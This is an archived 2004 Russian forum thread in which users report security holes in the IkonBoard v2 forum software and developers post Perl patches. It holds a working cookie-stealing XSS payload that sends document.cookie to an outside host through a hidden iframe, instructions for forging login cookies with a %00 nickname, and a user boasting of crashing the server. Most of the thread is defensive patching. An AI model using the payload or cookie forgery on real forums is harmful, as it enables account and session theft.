Ru-Board.club
← Вернуться в раздел «Ikonboard v.2»

» Безопасность/уязвимости IkonBoard

Автор: z83
Дата сообщения: 10.03.2004 00:43
В процессе юзанья вашего дистрибутива обнаружилось слудеющее, не знаю может в последнем обновлении уже что-то испралено, но вот:
1. [имж]яваскрипт[/имж] или вбскрипт. И делай с форумом что хочешь. Вполоть до того что придется закрывать окно форума через ctrl+alt+del, а так же в теории(лень пробовать) можно похитить всё пароли вплоть до админского. Так же такая фингя взоможна через ПМ.
2. Если вы модератор то вы с лёгкостью и в тихую можете поиметь пароль админа, через использование режима #moderation mode . Хоть и происходит замена тага <script> чтобы нельзя было юзать, однако достаточно добавить пробел после буквы t и таг проходит.
3. Есть возможность анонимно флудить по ПМ, а так же поганить "кто в онлайн". Кстати ваш форум не избавлен от второго косяка http://qwe384.narod.ru/prikol.jpg :)))))
4. Так же можно без проблем читать приватные форумы!!!

Как делается 3 и 4 говорить не буду... а то сразу все поломятся пакастить.

1 и 2 проблема легко ликвидируется, вставкой в фильтр нецезурщины такой замены:
script=пип
или лучше латинскую "p" заменить на русскую "р" script=scriрt
Думаю надо вставить такую замену в дистрибутив по умолчанию.

3 - без понятия как фиксить.
4 - можно и нужно фиксить.
Автор: lynx
Дата сообщения: 10.03.2004 00:59
z83

Сто лет назад все исправлено. Пользуйтесь дистрибутивом из файлового архива II и смотрите тему:

Баг с Яваскриптом (javascript) во всех версиях IkonBoard

Добавлено
z83


Цитата:
2. Если вы модератор то вы с лёгкостью и в тихую можете поиметь пароль админа, через использование режима #mоderation mode . Хоть и происходит замена тага <script> чтобы нельзя было юзать, однако достаточно добавить пробел после буквы t и таг проходит.


Поподробнее, пжлст.


Цитата:
Есть возможность анонимно флудить по ПМ


То есть гостям пользоваться пм? Да, есть такое.
Убрать?



Цитата:
а так же поганить "кто в онлайн".


Что значит поганить? И картинку с народа - не откроешь, положи на другой домент.



Цитата:
4. Так же можно без проблем читать приватные форумы!!!

Как делается 3 и 4 говорить не буду... а то сразу все поломятся пакастить.



Ну, говори уж. А то мы не верим

Автор: z83
Дата сообщения: 10.03.2004 01:33

Цитата:
2 Поподробнее, пжлст.

Ну делаешь этот #модмоде прячешь в пустой url чтобы не было видно,
далее делаем iframe 1x1
все это явовским методом write. Если просто написать, то не выдет - IE не позволит прочитать форму.
далее берем логин и пароль из формы и отправляем его к себе на сервак, там умный скрипт записывает его в файл.
Есть ещё несколько нюансов без который ничего не выдет, но я не буду их описывать...


Цитата:
То есть гостям пользоваться пм? Да, есть такое.
Убрать?

Не то, совсем не то.
Месаги посылается от несуществующего юзера. Не от гостя.


Цитата:
Что значит поганить? И картинку с народа - не откроешь, положи на другой домент.

Так устроит? http://ewqe.pochta.ru/index.html


Цитата:
Ну, говори уж. А то мы не верим

Не хочешь не верь

Цитата:
сразу все поломятся пакастить

У вас не читается, а вот у всех форумов которые поставлены с вашего дистрибутива читается...
Автор: Svarga
Дата сообщения: 10.03.2004 02:27
z83

Цитата:
Ну делаешь этот #модмоде прячешь в пустой url чтобы не было видно,
далее делаем iframe 1x1
все это явовским методом write. Если просто написать, то не выдет - IE не позволит прочитать форму.
далее берем логин и пароль из формы и отправляем его к себе на сервак, там умный скрипт записывает его в файл.
Есть ещё несколько нюансов без который ничего не выдет, но я не буду их описывать...

"О Боги, яду мне, яду." © М. Булгаков
Какие ещё такие нюансы-то? всё до безобразия примитивно )

Код: <script>document.write('<iframe width=1 height=1 style="border: 0px none" src=httр://site.com/script.pl?'+document.cookie+'></iframe>')</script>
Автор: lynx
Дата сообщения: 10.03.2004 02:31
z83

Цитата:
Что значит поганить? И картинку с народа - не откроешь, положи на другой домент.

Так устроит? http://ewqe.pochta.ru/index.html


Ну, это мелочи. не страшно. Опасности не представляет. Имя длинное в куку запихать и все. Предлагаешь ограничивать размер ячейки таблицы или ставить maxlenth или что?

И, кстати, что-то у меня не получилось так сделать.

Вот возьми этот форум: http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi
Он стоит на текущем дистрибутиве. Ломай на здоровье.



Цитата:
Месаги посылается от несуществующего юзера. Не от гостя.


Гм... и это у меня не получилось.



Цитата:
Не хочешь не верь


Ну, ты странный какой-то. Прибежал, пальчиком погрозил, говоришь, дистрибутив надо править, а даже не говоришь, в чем дело то. По детски как-то. Беспокоишься о владельцах форумов, так давай вмевсте выявим баги и прикроем. Боишься, что обсуждения нанесут ущерб владельцам - давай по пм.






Автор: z83
Дата сообщения: 10.03.2004 02:47
Вот к примеру заходим на любой форум - видим закрытый подраздел форума
http://z83.h10.ru/1.html
А теперь берём и заходим в него
http://z83.h10.ru/111.html
Автор: lynx
Дата сообщения: 10.03.2004 03:07
z83

Ну, что ты фокусы показываешь, да еще на хат.ру, вот тебе кошки, тренируйся на них:
http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi

Тут зайди ^^.

И если уж ты нашел уязвимость, то скажи о ней. А если ты только фокусы будешь показывать, то это флейм называется.
Автор: z83
Дата сообщения: 10.03.2004 03:09
Блин не понимаю я вам баги принёс, а в ответ какие-то насмешки. Как будто вы тут самые умные. Неприятно однако


Цитата:
Если уж ты так за возможность вставки скриптов в HTML-код опасаешься

Я ничего не опасаюсь я просто говорю вам найденные дыры. Которые желательно заделать...

Цитата:
то админ такого форума скорее всего идиот

Так и передам lol


Цитата:
И, кстати, что-то у меня не получилось так сделать.

В том то всё и дело, что просто так не получится. Фишка в том что перед ником надо написать %00 а пароль в куках сделать равным пустой строчке.

Цитата:
Ну, это мелочи. не страшно. Опасности не представляет

Ну к примеру можно матерные слова попробовать в адрес администрации.
Опасности никакой однако неприятно будет. К тому же это будет ещё отбражатся внизу главной страници.

lynx Сейчас в ПМ отправлю инфу про то как читать закрытые форумы....
Автор: lynx
Дата сообщения: 10.03.2004 03:11
Хорошо сказала. А форума закрытого не сделала. счас.

Добавлено
Я сделала закрытый форум, пробуй:
http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi


Цитата:
Блин не понимаю я вам баги принёс, а в ответ какие-то насмешки. Как будто вы тут самые умные. Неприятно однако


Мы не смеемся, ты только баги принеси как положено. Конечно мы хотим закрыть все уязвимости.



Добавлено

Цитата:
В том то всё и дело, что просто так не получится. Фишка в том что перед ником надо написать %00 а пароль в куках сделать равным пустой строчке.


Наверное, я делаю что-то не так, потому что у меня пишет:


Цитата:
Системная ошибка

Возможные причины ошибки: Possible hack attempt, the username is too long!

Пожалуйста, свяжитесь с администратором конференции.


Автор: z83
Дата сообщения: 10.03.2004 03:34
lynx Ну прочёл я твою тему, там написано test


Добавлено

Цитата:
Наверное, я делаю что-то не так, потому что у меня пишет:

Ну вот к примеру пишешь так
amembernamecookie=%00Privet
apasswordcookie=

И наверху будет написано Привет, Privet.
Отображается это только в IE, к примеру у меня в Опере просто путой ник.
Автор: Svarga
Дата сообщения: 11.03.2004 02:12
z83
Цитата:
Блин не понимаю я вам баги принёс, а в ответ какие-то насмешки. Как будто вы тут самые умные. Неприятно однако

Сорри, если обидел — такой уж у меня стиль речи кривой

Цитата:
то админ такого форума скорее всего идиот
Так и передам lol
это я к тому, что разрешать кому-то HTML, но при этом пытаться запретить в нём javascript — бестолковая затея: легко можно подобные запреты обойти самыми разнообразными способами. Уже что-то одно: или разрешать HTML кому-то со всеми вытекающими или запрещать.


Цитата:
%00

В messenger.cgi, forums.cgi, topic.cgi, ikonboard.cgi и всём остальном можно попытаться заменить:

Код: $inmembername = cookie("amembernamecookie");
Автор: z83
Дата сообщения: 12.03.2004 00:54
на счёт %00 надо просто зделать переприсваивание пременной типа:
$name = cookie("amembernamecookie"));
$inmembername = $name;

Символ %00 уйдет сам собой, я проверял.

И на счёт профиксивания просморта закрытых тем:
ну вы блин нафиксили
я сегодня пробовал зайти и в результате скрипт ушёл в бесконечный цикл, а ваш сервак упал Уже как 2 раза

Добавлено
По заявкам желающих могу ещё раз отправить в даун
Автор: WebDi
Дата сообщения: 12.03.2004 11:06
z83
Ты смотри, осторожнее. Люди тут нервные.
Проснёшься однажды, а в голове - ледоруб.
Шутник...
Автор: lynx
Дата сообщения: 23.03.2004 23:39
Итак.
Фиксинг возможности ходить в закрытые темы такой.

ikon.lib

sub getmember


Код:
sub getmember {
my $nametocheck = shift;

$nametocheck =~ s/ /\_/g;
$filetoopen = "$ikondir" . "members/$nametocheck.cgi";
$filetoopen = &stripMETA($filetoopen);
if (-e $filetoopen) {
open(FILE,"$filetoopen");
$filedata = <FILE>;
close(FILE);
chomp($filedata);
($membername, $password, $membertitle, $membercode, $numberofposts,
$emailaddress, $showemail, $ipaddress, $homepage, $aolname, $icqnumber,
$location ,$interests, $joineddate, $lastpostdate, $signature, $timedifference,
$privateforums, $useravatar, $misc1, $misc2, $misc3) = split(/\|/,$filedata);
chomp $privateforums;

##Фиксим возможность проникать в закрытые форумы
if (($inmembername eq "Guest") || ($password ne $inpassword)){
$inmembername = 'Guest';
$inpassword = '';
%allowedentry = '';
return;
}
##Отфиксили


if($privateforums) {
@private = split(/&/,$privateforums);
foreach $accessallowed (@private) {
chomp $accessallowed;
($access, $value) = split(/=/,$accessallowed);
$allowedentry{$access} = $value;
}
}
}
else { $userregistered = "no"; }
}
Автор: trew
Дата сообщения: 24.03.2004 00:44
lynx На дефолтной то что будет работать - это понятно. Вопрос: а как оно будет работать на "обхаканых"... ( такое слово, буквальное). Даже некоторые хаки надо подгонять друг под друга ?. Т.е можно подробнее описать само проникновение и что мы перекрываем?
Автор: lynx
Дата сообщения: 24.03.2004 00:55
trew

Цитата:
На дефолтной то что будет работать - это понятно. Вопрос: а как оно будет работать на "обхаканых"...


Будет замечательно работать на любых конфах.

Перекрываем мы так возможность заходить в закрытые форумы, руками прописав в браузер куки - имя админа, номер закрытого форума и разрешение на вход в него.
Автор: trew
Дата сообщения: 24.03.2004 01:18
lynx Понял, спасибо!


Добавлено

Цитата:
Есть возможность анонимно флудить по ПМ
Еще бы с этим разобраться, очень неприятная штука , и обратно, когда работает Супер ПМ, то Гость получает тоже сообщение, и мягко говоря.. читает.
Автор: Marilda
Дата сообщения: 24.03.2004 01:40
trew

Цитата:
Цитата:Есть возможность анонимно флудить по ПМ
Еще бы с этим разобраться, очень неприятная штука , и обратно, когда работает Супер ПМ, то Гость получает тоже сообщение, и мягко говоря.. читает.


messenger.cgi


Код: if ($inmembername eq "" || $inmembername eq "$ibtxt{'0043'}") {
$inmembername = "$ibtxt{'0043'}";
}
else {
&getmemberstime("$inmembername");
}
Автор: lynx
Дата сообщения: 24.03.2004 02:09
Marilda

Не так:


Код:
if (! $inmembername) { $inmembername = cookie("amembernamecookie"); }
if (! $inpassword) { $inpassword = cookie("apasswordcookie"); }


if ($inmembername eq "" || $inmembername eq "Guest") {
$inmembername = "Guest";
&messengererror("Личный ящик&Гости не могут пользоваться личным ящиком") ;
}
##Это комментим, нафиг оно надо, все едино подпрограмму гетмембер потом вызываем
# else {
# &getmemberstime("$inmembername");
# }
&getmember("$inmembername");
##Это для забаненных
&messengererror("Личный ящик&Вы забанены") if($membercode eq "banned");
Автор: trew
Дата сообщения: 24.03.2004 10:37
Marilda
lynx
Спасибо!!!
Еще если бы при заходе куда не надо клавиатура их током била...
Автор: lynx
Дата сообщения: 25.03.2004 00:18
Так.

Вот это:


Код:
$inmembername = $name;
Автор: 12341234
Дата сообщения: 27.03.2004 19:25
lynx
А у тебя проблем с заходом в профиль не возникло после этих фиксов?
Кстати ничего, что на ты?
Автор: lynx
Дата сообщения: 27.03.2004 20:18
12341234

После фикса захода в закрытые форумы? Нет не возникло.

Кошки для тренировок тут:
http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi
Регись, пробуй.


Цитата:
Кстати ничего, что на ты?


Ничего.
Автор: shishkov
Дата сообщения: 19.07.2004 17:33
Предистория
была тут:
http://forum.ru-board.com/topic.cgi?forum=21&bm=1&topic=2229&start=0#2


Цитата:
Может

Код:

if (($inmembername eq "Guest") || ($password ne $inpassword and $action ne 'sendpassword') ){
$inmembername = 'Guest';
$inpassword = '';
%allowedentry = '';
return;
}



linx "А у тебя так работает? У меня нет."
У меня работает, а что тут может не работать? $action - переменная _не локальная_.


linx "Только зря ты создал новую тему, тем более с таким названием. Ведь мы сейчас не проникновение говорим."

Сори, не нашел я где это обсуждалось, помнил что было, но не нашел.


linx "Ты понимаешь, если ты посмотришь фиксенный код, то увидишь, что при запросе забытого пароля подпрограмма getmember не запрашивается."

О, еще как запрашивается :
При запросе пароля вызывается скрипт profile.cgi и подпрограмма
sendpassword, вот ее код:


Код:
sub sendpassword {


&getmember("$inmembername");

if ($membercode eq "ad") { &blocked; }
elsif ($userregistered ne "no") { # start emailing functions
........
Автор: lynx
Дата сообщения: 19.07.2004 19:57
shishkov

Цитата:
в IB219rus_fixed3.zip от 18:13 19-07-2004

Добавлено
Чтобы исправить, можно заменить &getmember на &gettopicmember
не проверял, но работать должно.


Так оно в дистрибутиве заменено. Качай пофиксенный вариант, там все текущие глюки пофиксены. А совсем дефолтный, в названии которого нет слова fixed - он не тронут, все баги там сохранены. Для того, чтобы желающие могли сравнить с оригиналом с одной строны и для того, чтобы можно было откатиться к дефолту, если в результате фиксов вылезут дополнительные баги с другой стороны.




Цитата:
в результате фиксов вылезут дополнительные баги


Хорошо звучит
Автор: shishkov
Дата сообщения: 20.07.2004 13:49
"Так оно в дистрибутиве заменено."

Там ничего _не_ заменено!


Код:
sub sendpassword {
&getmember("$inmembername");
if ($membercode eq "ad") { &blocked; }
elsif ($userregistered ne "no") { # start emailing functions
........
Автор: lynx
Дата сообщения: 22.07.2004 01:21
shishkov

Цитата:
"Так оно в дистрибутиве заменено."

Там ничего _не_ заменено!


Гм... Ты прав. "Ничего" - это не совсем так, но не заменено.

По техническим причинам мы не можем сейчас поставить дистрибутив на наш сервер и там тестить, но в архиве я заменила, должно работать, проверьте:

Обзор форума IkonBoard V. 2 (карта форума) » Файловый архив II »
IB219rus_fixed3.zip
Автор: shishkov
Дата сообщения: 22.07.2004 15:08
lynx

1. Опечатка
было <! &getmember("$inmembername");
стало !> &gettopicmember("$passmembername");
надо &gettopicmember("$inmembername");
переменной $passmembername в коде не обнаружил.

2. Надо еще поправить register.cgi
было &getmember("$inmembername");
надо &gettopicmember(("$inmembername");



Добавлено
ещё
в &title из ikon.lib
в том месте где проверяется, показывать юзеру ссылку на админцентр или нет.
было &getmember("$inmembername");
надо &gettopicmember("$inmembername");
Автор: z83
Дата сообщения: 22.08.2004 12:21
Нашёлась тут ещё одна дырка, более серьёзная.
Возможность записывать файлы. Тем самым можно, к примеру, снести профиль ненавистного вам модератора. У нас сие уже произошло
Хотелось бы у вас попробовать только вот эта ссылка чё-то не работает:
http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi
Автор: lynx
Дата сообщения: 22.08.2004 13:43
z83

Цитата:
Хотелось бы у вас попробовать только вот эта ссылка чё-то не работает:
http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi


Не работает, да, мы еще не все настроили после переезда на новый сервер. А каким образом можно записывать файлы?

Страницы: 12

Предыдущая тема: IB2.19 background color (изменить цвет фона)


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.